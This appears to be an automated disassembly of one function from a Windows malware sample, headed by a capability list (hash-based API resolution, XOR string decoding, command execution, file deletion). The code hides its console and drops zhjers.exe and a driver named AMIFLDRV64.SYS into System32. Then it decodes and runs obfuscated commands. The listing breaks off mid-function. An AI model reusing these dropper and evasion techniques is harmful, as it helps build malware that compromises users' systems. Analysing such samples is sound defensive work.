Function at 0x14004aa70
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Execute command
Get kernel32 base address
Get ntdll base address
Get process filename
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x68]
sub rsp, 0x160
movaps xmmword [rax - 0x18], xmm6
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movzx edx, byte [rbp + 0x70]
lea rcx, [rsp + 0x20]
call fcn.140031a30
nop
lea r8d, [rdi + 0x1e]
lea rdx, str.C:WindowsSystem32zhjers.exe
lea rcx, [rsp + 0x20]
call fcn.140031a50
nop
mov r8d, 0x70e70
lea rdx, [0x140328dc0]
lea rcx, [rsp + 0x20]
call fcn.14004a960
nop
lea rcx, [rsp + 0x20]
call fcn.140031930
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [rbp + 0x70]
lea rcx, [rsp + 0x20]
call fcn.140031a30
nop
lea r8d, [rdi + 0x22]
lea rdx, str.C:WindowsSystem32AMIFLDRV64.SYS
lea rcx, [rsp + 0x20]
call fcn.140031a50
nop
mov r8d, 0x7450
lea rdx, [0x140203820]
lea rcx, [rsp + 0x20]
call fcn.14004a960
nop
lea rcx, [rsp + 0x20]
call fcn.140031930
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x140179ba8]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179bb8]
movups xmmword [rsp + 0x70], xmm1
movsd xmm0, qword [0x140179bc8]
movsd qword [rbp - 0x80], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004abf4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004abf4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004abef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004abd0
cmp edx, 0x491e0a9c
je 0x14004abf9
test r9d, r9d
jne 0x14004abb0
mov rax, qword [rax]
jmp 0x14004ab80
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14004ad51
movdqa xmm5, xmmword [0x14017de30]
mov edx, edi
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x14004ac52
jmp 0x14004ad90
lea r9, [rsp + 0x60]
mov r8d, edi
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14004ad60
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004ae24
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004ae24
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004ae1f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004ae00
cmp edx, 0x2fa62ca8
je 0x14004ae29
test r9d, r9d
jne 0x14004ade0
mov rax, qword [rax]
jmp 0x14004adb0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140179ce8]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179cf8]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140179d08]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x140179d18]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x140179d1c]
mov byte [rbp - 0x6c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004af04
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004af04
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004aeff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004aee0
cmp edx, 0x491e0a9c
je 0x14004af09
test r9d, r9d
jne 0x14004aec0
mov rax, qword [rax]
jmp 0x14004ae90
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004b065
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14004af60
cmp r8d, 0x35
jge 0x14004b0a0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x14004b070
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004b134
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004b134
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004b12f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004b110
cmp edx, 0x2fa62ca8
je 0x14004b139
test r9d, r9d
jne 0x14004b0f0
mov rax, qword [rax]
jmp 0x14004b0c0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140179d80]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179d90]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140179da0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140179db0]
movups xmmword [rbp - 0x70], xmm1
mov eax, dword [0x140179dc0]
mov dword [rbp - 0x60], eax
movzx eax, word [0x140179dc4]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x140179dc6]
mov byte [rbp - 0x5a], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004b234
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004b234
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004b22f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004b210
cmp edx, 0x491e0a9c
je 0x14004b239
test r9d, r9d
jne 0x14004b1f0
mov rax, qword [rax]
jmp 0x14004b1c0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004b395
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14004b290
cmp r8d, 0x47
jge 0x14004b3d0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x14004b3a0
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004b464
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004b464
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004b45f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004b440
cmp edx, 0x2fa62ca8
je 0x14004b469
test r9d, r9d
jne 0x14004b420
mov rax, qword [rax]
jmp 0x14004b3f0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140179958]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179968]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140179978]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140179988]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140179990]
mov dword [rbp - 0x68], eax
movzx eax, word [0x140179994]
mov word [rbp - 0x64], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004b554
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004b554
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004b54f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004b530
cmp edx, 0x491e0a9c
je 0x14004b559
test r9d, r9d
jne 0x14004b510
mov rax, qword [rax]
jmp 0x14004b4e0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004b6b5
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14004b5b0
cmp r8d, 0x3e
jge 0x14004b6f0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x14004b6c0
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004b784
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004b784
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004b77f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004b760
cmp edx, 0x2fa62ca8
je 0x14004b789
test r9d, r9d
jne 0x14004b740
mov rax, qword [rax]
jmp 0x14004b710
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x1401792f0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179300]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140179310]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140179320]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140179328]
mov dword [rbp - 0x68], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004b874
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004b874
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004b86f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004b850
cmp edx, 0x491e0a9c
je 0x14004b879
test r9d, r9d
jne 0x14004b830
mov rax, qword [rax]
jmp 0x14004b800
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004b9d5
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14004b8d0
cmp r8d, 0x3c
jge 0x14004ba10
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x14004b9e0
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004baa4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004baa4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004ba9f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004ba80
cmp edx, 0x2fa62ca8
je 0x14004baa9
test r9d, r9d
jne 0x14004ba60
mov rax, qword [rax]
jmp 0x14004ba30
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140179f00]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179f10]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140179f20]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140179f30]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140179f38]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x140179f3c]
mov byte [rbp - 0x64], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004bb94
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004bb94
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004bb8f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004bb70
cmp edx, 0x491e0a9c
je 0x14004bb99
test r9d, r9d
jne 0x14004bb50
mov rax, qword [rax]
jmp 0x14004bb20
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004bcf5
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
